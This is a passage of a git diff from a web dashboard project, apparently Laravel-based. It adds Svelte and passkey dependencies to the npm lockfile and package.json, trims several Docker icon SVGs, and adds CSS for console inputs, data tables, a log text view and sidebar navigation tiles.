"https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", - "dev": true, + "devOptional": true, "license": "MIT", "dependencies": { "@jridgewell/gen-mapping": "^0.3.5", @@ -63,30 +66,58 @@ "version": "3.1.2", "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", - "dev": true, + "devOptional": true, "license": "MIT", "engines": { "node": ">=6.0.0" } }, "node_modules/@jridgewell/sourcemap-codec": { - "version": "1.5.5", - "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", - "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", - "dev": true, + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.6.0.tgz", + "integrity": "sha512-T7jf+5zgsZHwNJ4lvQ7/aezbyk0nNX+zJVWpmHA7VYsEx7a7qr5Rg5IbtJFqkgze5Y2sruq1RUY8Q837Od7iFw==", + "devOptional": true, "license": "MIT" }, "node_modules/@jridgewell/trace-mapping": { "version": "0.3.31", "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", - "dev": true, + "devOptional": true, "license": "MIT", "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, + "node_modules/@laravel/passkeys": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/@laravel/passkeys/-/passkeys-0.4.0.tgz", + "integrity": "sha512-59UHJHZPrIT8f5hFQJUR1EXhazWZTg3DcJefxSfA3aRj6xu40I/lYDveUY4oL2/h/crq9jjptSKykZDDold7aA==", + "license": "MIT", + "dependencies": { + "@simplewebauthn/browser": "^13.0.0" + }, + "engines": { + "node": ">=20.19.0" + }, + "peerDependencies": { + "react": "^18.0.0 || ^19.0.0", + "svelte": "^5.0.0", + "vue": "^3.3.0" + }, + "peerDependenciesMeta": { + "react": { + "optional": true + }, + "svelte": { + "optional": true + }, + "vue": { + "optional": true + } + } + }, "node_modules/@oxc-project/types": { "version": "0.143.0", "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.143.0.tgz", @@ -360,6 +391,52 @@ "dev": true, "license": "MIT" }, + "node_modules/@simplewebauthn/browser": { + "version": "13.3.0", + "resolved": "https://registry.npmjs.org/@simplewebauthn/browser/-/browser-13.3.0.tgz", + "integrity": "sha512-BE/UWv6FOToAdVk0EokzkqQQDOWtNydYlY6+OrmiZ5SCNmb41VehttboTetUM3T/fr6EAFYVXjz4My2wg230rQ==", + "license": "MIT" + }, + "node_modules/@sveltejs/acorn-typescript": { + "version": "1.0.13", + "resolved": "https://registry.npmjs.org/@sveltejs/acorn-typescript/-/acorn-typescript-1.0.13.tgz", + "integrity": "sha512-wgKggnhZVL9Bfx1OaKKTrYY9BFRk6C8UAkQNUcIv1+llzYrIqy+RZm5HPKzn0NpEBvTVhTqB4kQyllZywsRBRQ==", + "devOptional": true, + "license": "MIT", + "peerDependencies": { + "acorn": "^8.9.0" + } + }, + "node_modules/@sveltejs/vite-plugin-svelte": { + "version": "7.3.1", + "resolved": "https://registry.npmjs.org/@sveltejs/vite-plugin-svelte/-/vite-plugin-svelte-7.3.1.tgz", + "integrity": "sha512-ZPsLN8B1e/En+Ak5s4V7srFDT532oS0qieLsQwu63NGKsS+iAjoO2Js1BochlHlglcU+Pt7WAO3C5Ee+4f6gVA==", + "dev": true, + "license": "MIT", + "dependencies": { + "deepmerge": "^4.3.1", + "magic-string": "^1.0.0", + "obug": "^2.1.0", + "vitefu": "^1.1.2" + }, + "engines": { + "node": "^20.19 || ^22.12 || >=24" + }, + "peerDependencies": { + "svelte": "^5.46.4", + "vite": "^8.0.0-beta.7 || ^8.0.0" + } + }, + "node_modules/@sveltejs/vite-plugin-svelte/node_modules/magic-string": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-1.4.3.tgz", + "integrity": "sha512-z12OxmaPGE0F4xlpGdjuAUckipLpQlTAuAmyGhNoD7ODpYUzvDfvtxUbjM/jwznyP178oju/KDdyi220wNJ0RQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.6.0" + } + }, "node_modules/@tailwindcss/forms": { "version": "0.5.11", "resolved": "https://registry.npmjs.org/@tailwindcss/forms/-/forms-0.5.11.tgz", @@ -677,6 +754,13 @@ "url": "https://github.com/sponsors/tannerlinsley" } }, + "node_modules/@types/estree": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz", + "integrity": "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==", + "devOptional": true, + "license": "MIT" + }, "node_modules/@types/prismjs": { "version": "1.26.6", "resolved": "https://registry.npmjs.org/@types/prismjs/-/prismjs-1.26.6.tgz", @@ -699,11 +783,44 @@ "addons/*" ] }, + "node_modules/acorn": { + "version": "8.19.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.19.0.tgz", + "integrity": "sha512-oJlA3XiRm7Cyk6qFD2Jn8ak9B7jSy0qy00ADO3+8dpT0LSjFihQYv4C02LFCSYJV3Q37xYwwRy5m+IpIiUzqWw==", + "devOptional": true, + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/aria-query": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.1.tgz", + "integrity": "sha512-Z/ZeOgVl7bcSYZ/u/rh0fOpvEpq//LZmdbkXyc7syVzjPAhfOa9ebsdTSjEBDU4vs5nC98Kfduj1uFo0qyET3g==", + "devOptional": true, + "license": "Apache-2.0", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/axobject-query": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-4.1.0.tgz", + "integrity": "sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==", + "devOptional": true, + "license": "Apache-2.0", + "engines": { + "node": ">= 0.4" + } + }, "node_modules/clsx": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.1.tgz", "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==", - "dev": true, + "devOptional": true, "license": "MIT", "engines": { "node": ">=6" @@ -727,6 +844,16 @@ "node": ">=4" } }, + "node_modules/deepmerge": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/detect-libc": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", @@ -737,6 +864,13 @@ "node": ">=8" } }, + "node_modules/devalue": { + "version": "5.9.4", + "resolved": "https://registry.npmjs.org/devalue/-/devalue-5.9.4.tgz", + "integrity": "sha512-sPAT4pztbu6586/hrhOnMKS17IJrvg12mXiSPSS3W5qDeN2RGgvZ0diZCm31dBbnevfVmujNO3IM2wrS4Y2Rhg==", + "devOptional": true, + "license": "MIT" + }, "node_modules/enhanced-resolve": { "version": "5.24.5", "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.24.5.tgz", @@ -751,6 +885,31 @@ "node": ">=10.13.0" } }, + "node_modules/esm-env": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/esm-env/-/esm-env-1.2.2.tgz", + "integrity": "sha512-Epxrv+Nr/CaL4ZcFGPJIYLWFom+YeV1DqMLHJoEd9SYRxNbaFruBwfEX/kkHUJf55j2+TUbmDcmuilbP1TmXHA==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/esrap": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/esrap/-/esrap-2.4.0.tgz", + "integrity": "sha512-CQPcneEHw/czj32uwQC52nYnax8H4SXt25FCM+LIwGZ49cMIxpOj3bP8wmzcI+Z0HIy5KkClaPhRLfCySzwHPA==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.4.15" + }, + "peerDependencies": { + "@typescript-eslint/types": "^8.2.0" + }, + "peerDependenciesMeta": { + "@typescript-eslint/types": { + "optional": true + } + } + }, "node_modules/fdir": { "version": "6.5.0", "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", @@ -790,6 +949,16 @@ "dev": true, "license": "ISC" }, + "node_modules/is-reference": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/is-reference/-/is-reference-3.0.3.tgz", + "integrity": "sha512-ixkJoqQvAP88E6wLydLGGqCJsrFUnqoH6HnaczB8XmDH1oaWU+xxdptvikTgaEhtZ53Ky6YXiBuUI2WXLMCwjw==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.6" + } + }, "node_modules/jiti": { "version": "2.7.0", "resolved": "https://registry.npmjs.org/jiti/-/jiti-2.7.0.tgz", @@ -1100,11 +1269,18 @@ "url": "https://opencollective.com/parcel" } }, + "node_modules/locate-character": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/locate-character/-/locate-character-3.0.0.tgz", + "integrity": "sha512-SW13ws7BjaeJ6p7Q6CO2nchbYEc3X3J6WrmTTDto7yMPqVSZTUyY5Tjbid+Ab8gLnATtygYtiDIJGQRRn2ZOiA==", + "devOptional": true, + "license": "MIT" + }, "node_modules/magic-string": { "version": "0.30.21", "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", - "dev": true, + "devOptional": true, "license": "MIT", "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" @@ -1138,6 +1314,20 @@ "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" } }, + "node_modules/obug": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/obug/-/obug-2.2.1.tgz", + "integrity": "sha512-XrsrhT5sybtKI6wakr2SPOlGZWWYbUXZ7a0jT8/QOeAPau+1X/bSegNe5YR75oJmEZQbKningirmGOEJCIk61Q==", + "dev": true, + "funding": [ + "https://github.com/sponsors/sxzz", + "https://opencollective.com/debug" + ], + "license": "MIT", + "engines": { + "node": ">=12.20.0" + } + }, "node_modules/picocolors": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", @@ -1248,7 +1438,7 @@ "version": "19.2.8", "resolved": "https://registry.npmjs.org/react/-/react-19.2.8.tgz", "integrity": "sha512-PWaYA1L/q9u2u7xYQi+Y3L3Yfnie7XyLeaJICV1MGD6LprsBxcAqGjYyr0eY3p+QdsA+x/Irkt4Qif8D63+Sbw==", - "dev": true, + "devOptional": true, "license": "MIT", "peer": true, "engines": { @@ -1298,6 +1488,33 @@ "node": ">=0.10.0" } }, + "node_modules/svelte": { + "version": "5.57.2", + "resolved": "https://registry.npmjs.org/svelte/-/svelte-5.57.2.tgz", + "integrity": "sha512-1YiPCAXT0Ct6g1vOMmSLa0Nsc3QRMvtDF32ihgglGVrugIuIK38RyDiFNXVDhtQ81TJjSO57NdMw6DyYLqSGDQ==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@jridgewell/remapping": "^2.3.5", + "@jridgewell/sourcemap-codec": "^1.6.0", + "@sveltejs/acorn-typescript": "^1.0.13", + "@types/estree": "^1.0.9", + "acorn": "^8.18.0", + "aria-query": "5.3.1", + "axobject-query": "^4.1.0", + "clsx": "^2.1.1", + "devalue": "^5.9.2", + "esm-env": "^1.2.1", + "esrap": "^2.3.6", + "is-reference": "^3.0.3", + "locate-character": "^3.0.0", + "magic-string": "^0.30.11", + "zimmerframe": "^1.1.2" + }, + "engines": { + "node": ">=18" + } + }, "node_modules/tailwind-scrollbar": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/tailwind-scrollbar/-/tailwind-scrollbar-4.0.2.tgz", @@ -1763,6 +1980,33 @@ "type": "opencollective", "url": "https://opencollective.com/parcel" } + }, + "node_modules/vitefu": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/vitefu/-/vitefu-1.1.3.tgz", + "integrity": "sha512-ub4okH7Z5KLjb6hDyjqrGXqWtWvoYdU3IGm/NorpgHncKoLTCfRIbvlhBm7r0YstIaQRYlp4yEbFqDcKSzXSSg==", + "dev": true, + "license": "MIT", + "workspaces": [ + "tests/deps/*", + "tests/projects/*", + "tests/projects/workspace/packages/*" + ], + "peerDependencies": { + "vite": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "vite": { + "optional": true + } + } + }, + "node_modules/zimmerframe": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/zimmerframe/-/zimmerframe-1.1.5.tgz", + "integrity": "sha512-msJxIvYDYcoNL+PJsu+7qmpDWsYmAxTY+2TNYXXF0hzBzBk0BMecOqDOG/EckUoKCuKwObfbugIl8QpqHDXeFA==", + "devOptional": true, + "license": "MIT" } } } diff --git a/package.json b/package.json index 982aee11d7..2541eaf7ce 100644 --- a/package.json +++ b/package.json @@ -8,14 +8,17 @@ "clean": "docker compose -f docker-compose.yml -f docker-compose.dev.yml down --remove-orphans" }, "devDependencies": { + "@sveltejs/vite-plugin-svelte": "7.3.1", "@tailwindcss/postcss": "4.3.3", "laravel-vite-plugin": "3.1.3", "postcss": "8.5.26", + "svelte": "5.57.2", "tailwind-scrollbar": "4.0.2", "tailwindcss": "4.3.3", "vite": "8.2.1" }, "dependencies": { + "@laravel/passkeys": "^0.4.0", "@tailwindcss/forms": "0.5.11", "@tailwindcss/typography": "0.5.20", "@tanstack/virtual-core": "3.17.11", diff --git a/public/svgs/resources/docker-compose.svg b/public/svgs/resources/docker-compose.svg index 0101ad46c4..02255ccfc8 100644 --- a/public/svgs/resources/docker-compose.svg +++ b/public/svgs/resources/docker-compose.svg @@ -1,10 +1,5 @@ - + - - - - - - - + + diff --git a/public/svgs/resources/docker-image.svg b/public/svgs/resources/docker-image.svg index 28b300a9cf..3167ffece6 100644 --- a/public/svgs/resources/docker-image.svg +++ b/public/svgs/resources/docker-image.svg @@ -1,11 +1,4 @@ - + - - - - - - - - + diff --git a/public/svgs/resources/dockerfile.svg b/public/svgs/resources/dockerfile.svg index f4a3efb11c..760ed42713 100644 --- a/public/svgs/resources/dockerfile.svg +++ b/public/svgs/resources/dockerfile.svg @@ -1,11 +1,5 @@ - + - - - - - - - + diff --git a/resources/css/app.css b/resources/css/app.css index 407b1d9874..d752416566 100644 --- a/resources/css/app.css +++ b/resources/css/app.css @@ -1084,6 +1084,68 @@ html:not(.dark) .application-console-shell[data-console-theme="system"] .termina background: var(--coollabs-base); } +/* Console (attach) command box. Colours come from the active terminal theme's + foreground (--console-fg), so the input is readable on every console theme. */ +.terminal-console-input { + border-color: color-mix(in srgb, var(--console-fg, #fff) 10%, transparent); +} + +.console-command-row { + box-shadow: inset 0 0 0 1px transparent; + transition: + background-color 150ms ease, + box-shadow 150ms ease; +} + +.console-command-row:hover { + background-color: color-mix(in srgb, var(--console-fg, #fff) 3%, transparent); +} + +.console-command-row:focus-within { + background-color: color-mix(in srgb, var(--console-fg, #fff) 6%, transparent); + box-shadow: inset 0 0 0 1px color-mix(in srgb, var(--console-fg, #fff) 22%, transparent); +} + +.console-command-field { + color: var(--console-fg, #fff) !important; + caret-color: var(--console-fg, #fff); +} + +.console-command-field::placeholder { + color: color-mix(in srgb, var(--console-fg, #fff) 40%, transparent); +} + +.console-command-row:focus-within .console-command-field::placeholder { + color: color-mix(in srgb, var(--console-fg, #fff) 28%, transparent); +} + +.console-command-prompt { + color: color-mix(in srgb, var(--console-fg, #fff) 40%, transparent); + transition: color 200ms ease; +} + +.console-command-row:focus-within .console-command-prompt { + color: var(--console-fg, #fff); +} + +.console-command-prompt[data-sent] { + color: #fcd452 !important; +} + +.console-command-pending { + color: color-mix(in srgb, var(--console-fg, #fff) 60%, transparent); +} + +.console-command-send { + color: color-mix(in srgb, var(--console-fg, #fff) 60%, transparent); + outline-color: color-mix(in srgb, var(--console-fg, #fff) 60%, transparent); +} + +.console-command-send:hover { + color: var(--console-fg, #fff); + background-color: color-mix(in srgb, var(--console-fg, #fff) 8%, transparent); +} + .terminal-target-list { scrollbar-width: thin; scrollbar-color: var(--terminal-scrollbar, rgb(255 255 255 / 0.3)) transparent; @@ -1383,7 +1445,7 @@ html[data-theme="custom"] .coolbox, html[data-theme="custom"] .resource-view, html[data-theme="custom"] [class~="bg-surface"], html[data-theme="custom"] [class~="dark:bg-surface"], -html[data-theme="custom"] [class~="dark:bg-white/[0.025]"] { +html[data-theme="custom"] [class*="dark:bg-white/[0.025]"] { background-color: var(--color-content-surface) !important; } @@ -1856,6 +1918,13 @@ html[data-theme="custom"] textarea:disabled { min-width: 0; } +/* Below xl the rail is a grid above the content; a canvas has no room for it. */ +@media (max-width: 1279.98px) { + .app-main-full .application-settings-navigation { + display: none; + } +} + @media (min-width: 1280px) { /* Fixed like the main sidebar (3rem → bottom); left tracks its width (--sidebar-w). Fixed leaves the grid, so the content sibling is pinned to column 2 below. */ @@ -1903,6 +1972,16 @@ html[data-theme="custom"] textarea:disabled { background: var(--coollabs-line); } + /* Canvas pages with a rail (server canvas): the rail stays above the canvas, + and the canvas starts after the rail. */ + .app-main-full .application-settings-navigation { + z-index: 20; + } + + .app-main-full .application-settings-navigation ~ [data-environment-canvas] { + margin-left: calc(210px + 2.5rem); + } + /* Embeds: keep the surface, drop the fixed positioning. */ .application-settings-navigation.is-flush { position: static; @@ -2317,7 +2396,7 @@ html[data-theme="custom"] textarea:disabled { gap: 0.5rem; width: 100%; min-width: 0; - height: 2.25rem; + height: 2rem; padding: 0 0.625rem 0 0.75rem; overflow: hidden; border-radius: 8px; @@ -3135,6 +3214,17 @@ input[type="search"]::-webkit-search-results-decoration { } } +@media (min-width: 1536px) { + .deployment-table-embedded .deployment-table-grid { + grid-template-columns: 6.5rem minmax(0, 1fr) 6.5rem; + } + + .deployment-table-embedded .deployment-table-grid > :nth-child(2), + .deployment-table-embedded .deployment-table-grid > :nth-child(n + 5) { + display: none; + } +} + .dashboard-deployment-table-grid { grid-template-columns: minmax(0, 1.2fr) minmax(0, 1fr) minmax(6.25rem, 0.75fr) 10rem 8rem; } @@ -3155,6 +3245,26 @@ input[type="search"]::-webkit-search-results-decoration { grid-template-columns: minmax(9rem, 1.15fr) minmax(14rem, 1.9fr) 7rem 6.5rem 6.5rem 5.5rem; } +.fleet-servers-table-grid { + grid-template-columns: minmax(9rem, 1.4fr) 8rem 8rem 8rem 5rem 8rem 5.5rem; +} + +.fleet-containers-table-grid { + grid-template-columns: 2.25rem minmax(9rem, 1.7fr) minmax(6rem, 0.9fr) minmax(8.5rem, 1fr); +} + +.scheduled-executions-table-grid { + grid-template-columns: 5.5rem minmax(9rem, 1fr) minmax(7rem, 0.7fr) 8.5rem 5rem minmax(12rem, 1.5fr); +} + +.scheduler-runs-table-grid { + grid-template-columns: 9rem minmax(12rem, 1.5fr) 6rem 6rem 6rem; +} + +.skipped-jobs-table-grid { + grid-template-columns: 9rem 7rem minmax(10rem, 1fr) minmax(12rem, 1.4fr); +} + .server-resources-managed-table-grid { grid-template-columns: minmax(10rem, 1.3fr) minmax(8rem, 1fr) minmax(8rem, 1fr) 8rem 9.5rem; } @@ -3956,6 +4066,25 @@ html[data-theme="custom"] .logs-viewer-timestamp { opacity: 1 !important; } +/* View and Export menus sit after the search field and the Lines control. */ +.runtime-log-menus { + display: flex; + order: 3; + align-items: center; + gap: 0.5rem; +} + +.runtime-log-menu-label { + padding: 0.5rem 0.5rem 0.25rem; + font-size: 0.6875rem; + font-weight: 500; + color: #737373; +} + +.dark .runtime-log-menu-label { + color: var(--color-fg-faint); +} + .runtime-log-viewport { min-height: 12rem; border-radius: 0 0 8px 8px; @@ -4139,6 +4268,43 @@ html[data-theme="custom"] .runtime-log-columns { grid-column: 2; } +/* Text view: one compact, wrapped text line per log entry, like the old viewer. */ +.runtime-log-text-view { + padding-block: 0.5rem; +} + +.runtime-log-viewport .runtime-log-text-view [data-log-line]:not(.hidden) { + display: flex; + gap: 0.75rem; + min-height: 0; + padding: 0 1rem; + border-bottom: 0; + cursor: text; + font-size: 0.75rem; + line-height: 1.5; +} + +.runtime-log-viewport .runtime-log-text-view [data-log-line]::before, +.runtime-log-viewport .runtime-log-text-view [data-log-line]::after { + display: none; +} + +.runtime-log-viewport .runtime-log-text-view .logs-viewer-timestamp { + font-size: inherit; + line-height: inherit; +} + +.runtime-log-viewport .runtime-log-text-view [data-line-text] { + flex: 1 1 auto; + overflow: visible; + overflow-wrap: anywhere; + white-space: pre-wrap; +} + +.runtime-log-viewport .runtime-log-text-view .log-error [data-line-text] { color: #e55e73; } +.runtime-log-viewport .runtime-log-text-view .log-warning [data-line-text] { color: #d79945; } +.runtime-log-viewport .runtime-log-text-view .log-debug [data-line-text] { color: #929099; } + @container runtime-log-explorer (max-width: 650px) { .runtime-log-columns, .runtime-log-viewport [data-log-line]:not(.hidden) { @@ -5109,3 +5275,445 @@ a.command-palette-item:focus-visible { height: 2.5rem; } } + +/* Navigation items: each sidebar icon sits in a framed 32px tile with the 3D + depth of .button, like the canvas tool rail. Only the tile reacts; the row + has no background. Applies to both navigation styles. Appearance → + Navigation items → Flat sets data-nav-items="flat" on and turns these + rules off, which brings back the plain rows. */ +html:where(:not([data-nav-items="flat"])) :is(.menu-item, .menu-subitem):not(.sidebar-toggle) { + height: 2.5rem; + padding-left: 0.25rem; +} + +/* Only the icon tile reacts: no row background on hover or for the current + item; the current item shows through its tile and its brighter label. + In the utilities layer so it can beat the search row's !bg-* utilities + (a layered !important wins over an unlayered one). */ +@layer utilities { + html:where(:not([data-nav-items="flat"])) :is(.menu-item, .menu-subitem):not(.sidebar-toggle), + html:where(:not([data-nav-items="flat"])) :is(.menu-item, .menu-subitem):not(.sidebar-toggle):hover { + background-color: transparent !important; + } + + /* The expanded Search field keeps its input fill (see .menu-search below). */ + html:where(:not([data-nav-items="flat"])) nav:not(.sidebar-collapsed) .menu-search.menu-item { + background-color: var(--color-neutral-100) !important; + } + + html:where(:not([data-nav-items="flat"])) nav:not(.sidebar-collapsed) .menu-search.menu-item:hover { + background-color: var(--color-neutral-200) !important; + } + + html.dark:where(:not([data-nav-items="flat"])) nav:not(.sidebar-collapsed) .menu-search.menu-item { + background-color: oklch(100% 0 0 / 0.04) !important; + } + + html.dark:where(:not([data-nav-items="flat"])) nav:not(.sidebar-collapsed) .menu-search.menu-item:hover { + background-color: oklch(100% 0 0 / 0.07) !important; + } + + @media (max-width: 1023.98px) { + html:where(:not([data-nav-items="flat"])) nav.sidebar-collapsed .menu-search.menu-item { + background-color: var(--color-neutral-100) !important; + } + + html.dark:where(:not([data-nav-items="flat"])) nav.sidebar-collapsed .menu-search.menu-item { + background-color: oklch(100% 0 0 / 0.04) !important; + } + } +} + +/* The current item's tile takes the accent, like the active tab pill. */ +html:where(:not([data-nav-items="flat"])) :is(.menu-item-active, .menu-subitem-active) .menu-item-icon { + color: var(--color-coollabs); + border-color: color-mix(in oklab, var(--color-coollabs) 45%, transparent) !important; + --button-depth-color: color-mix(in oklab, var(--color-coollabs) 45%, transparent) !important; +} + +html.dark:where(:not([data-nav-items="flat"])) :is(.menu-item-active, .menu-subitem-active) .menu-item-icon { + color: var(--color-warning); + border-color: color-mix(in oklab, var(--color-warning) 40%, transparent) !important; + --button-depth-color: color-mix(in oklab, var(--color-warning) 35%, transparent) !important; +} + +html:where(:not([data-nav-items="flat"])) :is(.menu-item, .menu-subitem):not(.sidebar-toggle):focus-visible { + outline: none; +} + +html:where(:not([data-nav-items="flat"])) :is(.menu-item, .menu-subitem):not(.sidebar-toggle):focus-visible .menu-item-icon { + outline: 1px solid var(--color-accent); + outline-offset: 2px; +} + +html:where(:not([data-nav-items="flat"])) :is(.menu-item, .menu-subitem):not(.sidebar-toggle) .menu-item-icon { + box-sizing: content-box; + width: 1rem; + height: 1rem; + padding: 0.4375rem; + border: 1px solid oklch(0% 0 0 / 0.09); + border-radius: 8px; + background: #fafafa; + opacity: 1; + /* Same 3D depth as .button: rests on a 2px ledge, lifts on hover, presses on click. */ + --button-depth-color: rgb(0 0 0 / 0.22); + box-shadow: 0 2px 0 var(--button-depth-color); + transition: border-color 120ms, background-color 120ms, box-shadow 80ms, transform 80ms; +} + +html.dark:where(:not([data-nav-items="flat"])) :is(.menu-item, .menu-subitem):not(.sidebar-toggle) .menu-item-icon { + --button-depth-color: rgb(255 255 255 / 0.08); +} + +html:where(:not([data-nav-items="flat"])) :is(.menu-item, .menu-subitem):not(.sidebar-toggle):hover .menu-item-icon { + transform: translateY(-1px); + box-shadow: 0 3px 0 var(--button-depth-color); +} + +html:where(:not([data-nav-items="flat"])) :is(.menu-item, .menu-subitem):not(.sidebar-toggle):active .menu-item-icon { + transform: translateY(2px); + box-shadow: none; +} + +html.dark:where(:not([data-nav-items="flat"])) :is(.menu-item, .menu-subitem):not(.sidebar-toggle) .menu-item-icon { + border-color: oklch(100% 0 0 / 0.09); + background: oklch(100% 0 0 / 0.04); +} + +html:where(:not([data-nav-items="flat"])) :is(.menu-item, .menu-subitem):not(.sidebar-toggle):hover .menu-item-icon, +html:where(:not([data-nav-items="flat"])) :is(.menu-item-active, .menu-subitem-active) .menu-item-icon { + border-color: oklch(0% 0 0 / 0.18); + background: #fff; +} + +html.dark:where(:not([data-nav-items="flat"])) :is(.menu-item, .menu-subitem):not(.sidebar-toggle):hover .menu-item-icon, +html.dark:where(:not([data-nav-items="flat"])) :is(.menu-item-active, .menu-subitem-active) .menu-item-icon { + border-color: oklch(100% 0 0 / 0.18); + background: oklch(100% 0 0 / 0.08); +} + +/* Search keeps its original input look while the sidebar is expanded (always on + mobile, where the rail never collapses). Only the collapsed rail shows the 3D tile. + The icon resets use .menu-search.menu-item to beat the html.dark tile rules. */ +html:where(:not([data-nav-items="flat"])) nav:not(.sidebar-collapsed) .menu-search { + height: 2rem; + padding-left: 0.625rem; +} + +html:where(:not([data-nav-items="flat"])) nav:not(.sidebar-collapsed) .menu-search.menu-item .menu-item-icon, +html:where(:not([data-nav-items="flat"])) nav:not(.sidebar-collapsed) .menu-search.menu-item:is(:hover, :active, :focus-visible) .menu-item-icon { + box-sizing: border-box; + width: 1rem; + height: 1rem; + padding: 0; + border: 0; + background: transparent; + box-shadow: none; + transform: none; + outline: none; + opacity: 0.9; +} + +html:where(:not([data-nav-items="flat"])) nav:not(.sidebar-collapsed) .menu-search:focus-visible { + outline: 1px solid var(--color-accent); +} + +@media (max-width: 1023.98px) { + html:where(:not([data-nav-items="flat"])) nav.sidebar-collapsed .menu-search { + height: 2rem; + padding-left: 0.625rem; + } + + html:where(:not([data-nav-items="flat"])) nav.sidebar-collapsed .menu-search.menu-item .menu-item-icon, + html:where(:not([data-nav-items="flat"])) nav.sidebar-collapsed .menu-search.menu-item:is(:hover, :active, :focus-visible) .menu-item-icon { + box-sizing: border-box; + width: 1rem; + height: 1rem; + padding: 0; + border: 0; + background: transparent; + box-shadow: none; + transform: none; + outline: none; + opacity: 0.9; + } +} + +@media (min-width: 1024px) { + /* The collapsed rail is 64px wide with 40px of content: center the 32px tile. */ + html:where(:not([data-nav-items="flat"])) .sidebar-collapsed .menu-item:not(.sidebar-toggle) { + padding-left: 0.25rem; + padding-right: 0.25rem; + } +} + +/* Secondary navigation (settings rails): text-only rows with a filled pill for + the current item, like Sentry. Only the main sidebar keeps the icon tiles. */ +html .application-settings-navigation :is(.menu-item, .menu-subitem) { + height: 2rem; + padding-left: 0.625rem; +} + +html .application-settings-navigation .menu-item-icon { + display: none; +} + +/* In the utilities layer to beat the transparent row rule above. */ +@layer utilities { + html .application-settings-navigation :is(.menu-item, .menu-subitem):hover { + background-color: oklch(0% 0 0 / 0.04) !important; + } + + html.dark .application-settings-navigation :is(.menu-item, .menu-subitem):hover { + background-color: oklch(100% 0 0 / 0.05) !important; + } + + html .application-settings-navigation :is(.menu-item-active, .menu-subitem-active), + html .application-settings-navigation :is(.menu-item-active, .menu-subitem-active):hover { + background-color: oklch(0% 0 0 / 0.06) !important; + } + + html.dark .application-settings-navigation :is(.menu-item-active, .menu-subitem-active), + html.dark .application-settings-navigation :is(.menu-item-active, .menu-subitem-active):hover { + background-color: oklch(100% 0 